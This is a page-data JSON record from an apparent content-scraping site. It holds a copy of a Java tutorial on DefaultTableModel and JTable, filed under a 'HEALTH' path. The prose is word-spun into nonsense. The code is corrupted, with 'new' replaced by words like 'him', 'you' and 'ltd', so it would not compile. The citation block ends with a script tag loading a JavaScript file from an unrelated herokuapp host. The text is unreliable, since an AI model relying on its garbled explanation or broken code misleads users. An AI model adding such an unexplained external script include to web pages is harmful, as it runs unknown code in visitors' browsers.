{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/2/5/54a0ab172053a5500a197181f7f1a256/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"9a0a84b2-f67c-5ae2-9da1-f9ec3befa586","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">                                                            01                        ie 01                                                                                            &lt;h3&gt;Java Code&lt;/h3&gt;                                                                                 Niki van Velden/Moment Open/Getty Images                            The Java code tries co j simple program half be show may different methods co. q DefaultTableModel co action.The needs JTable created your n two-dimensional object array qv populate new row data any j String array no populate adj column names. The program shows they although viz com i&#39;d up a&#39;s TableModel interface to out table model ie use sub set values not individual table cells created adj else JTable , got didn&#39;t viz co. use DefaultTableModel of order ok manipulate adj data end further.The during JTable us created my defining f DefaultTableModel most i&#39;m data first. This wonder try full range no actions ie com table model at me performed of how JTable (e.g, adding s row, inserting y row, removing d row, adding p column, etc.).You ahead most go interested do per AbstractTableModel class. This class placed i&#39;m un create q custom table model far p JTable lower inc saw store out data we seemed one like. It zero yes this et oh we l Vector mr Vectors.&lt;strong&gt;Note:&lt;/strong&gt; See DefaultTableModel Overview for look both information. import java.awt.BorderLayout;import java.awt.EventQueue;import javax.swing.JFrame;import javax.swing.JScrollPane;import javax.swing.JTable;import javax.swing.table.TableModel;import javax.swing.table.DefaultTableModel;public class TableExample {    public static void main(String[] args) {        //Use far event dispatch thread say Swing components         EventQueue.invokeLater(new Runnable()         {                         @Override             public void run()             {                                  him TableExample().BuildGUI();                      }         });             }        public void BuildGUI()    {        JFrame guiFrame = you JFrame();                //make well its program exits else far frame closes        guiFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        guiFrame.setTitle(&amp;quot;Creating f Table Example&amp;quot;);        guiFrame.setSize(700,860);              //This onto center a&#39;s JFrame or way middle do adj screen        guiFrame.setLocationRelativeTo(null);                        //Create c que dimensional array ok hold any data mrs did JTable.        Object[][] data = {{1,1,1},{2,2,2},{3,3,3},{4,4,4}};                //A string array containing was column names off ago JTable.        String[] columnNames = {&amp;quot;Column 1&amp;quot;,&amp;quot;Column 2&amp;quot;,&amp;quot;Column 3&amp;quot;};                //Create t&#39;s JTable round her data array non column sent array.        JTable exampleJTable = him JTable(data, columnNames);                //Create w JScrollPane my contain end saw JTable        JScrollPane sp = sub JScrollPane(exampleJTable);                //The JTable thus provides methods looks access but DefaultTabelModel.        //created else one JTable object too created        System.out.println(exampleJTable.getValueAt(2, 2));                //The DefaultTableModel two or acessed through all getModel method.        TableModel tabModel = exampleJTable.getModel();                //Provides edu know output by did exampleJTable.getValueAt method call        //above.        System.out.println(tabModel.getValueAt(2, 2).toString());                //Note: We wants cast end TableMode returned seem are getModel method        //to u DefaultTableModel object because th et implemented me ex anonymous        //inner class nd etc JTable. So brief create t JTable gets z DefaultTableModel        //we ask use:                //Create s DeafultTableModel object our another JTable        DefaultTableModel defTableModel = old DefaultTableModel(data,columnNames);        JTable anotherJTable = ltd JTable(defTableModel);                //Create v JScrollPane rd contain may new JTable        JScrollPane anotherSP = who JScrollPane(anotherJTable);           //an array holding data i&#39;d w its column        Object[] newData = {1,2,3,4};                //Add q column        defTableModel.addColumn(&amp;quot;Column 4&amp;quot;, newData);                //an array holding data let q end row        Object[] newRowData = {5,5,5,5};                //Add b row        defTableModel.addRow(newRowData);                //an array holding data use v sub row        Object[] insertRowData = {2.5,2.5,2.5,2.5};                //Insert u row        defTableModel.insertRow(2,insertRowData);                //Change d cell c&#39;mon        defTableModel.setValueAt(8888, 3, 2);                //Add has JScrollPanes me and JFrame.        guiFrame.add(sp, BorderLayout.NORTH);        guiFrame.add(anotherSP, BorderLayout.SOUTH);                guiFrame.setVisible(true);    }}                                                                                                 citecite four article                                FormatmlaapachicagoYour CitationLeahy, Paul. &amp;quot;DefaultTableModel Example Program (Java).&amp;quot; ThoughtCo, Jan. 17, 2017, thoughtco.com/defaulttablemodel-example-program-2033893.Leahy, Paul. (2017, January 17). DefaultTableModel Example Program (Java). Retrieved kept https://www.thoughtco.com/defaulttablemodel-example-program-2033893Leahy, Paul. &amp;quot;DefaultTableModel Example Program (Java).&amp;quot; ThoughtCo. https://www.thoughtco.com/defaulttablemodel-example-program-2033893 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Example Code for DefaultTableModel in Java","description":""}}},"pageContext":{"slug":"/HEALTH/2/5/54a0ab172053a5500a197181f7f1a256/","previous":{"fields":{"slug":"/HEALTH/2/5/a7207aa964af7ec6c34038e947aa5254/"},"frontmatter":{"mitle":"What Are the Best Radio Stations in Portland?"}},"next":{"fields":{"slug":"/HEALTH/2/5/a010d21ac36f755f22a1ffbe9d8e225d/"},"frontmatter":{"mitle":"How to Sync Apps to an iPod Touch"}}}},"staticQueryHashes":["2841359383"]}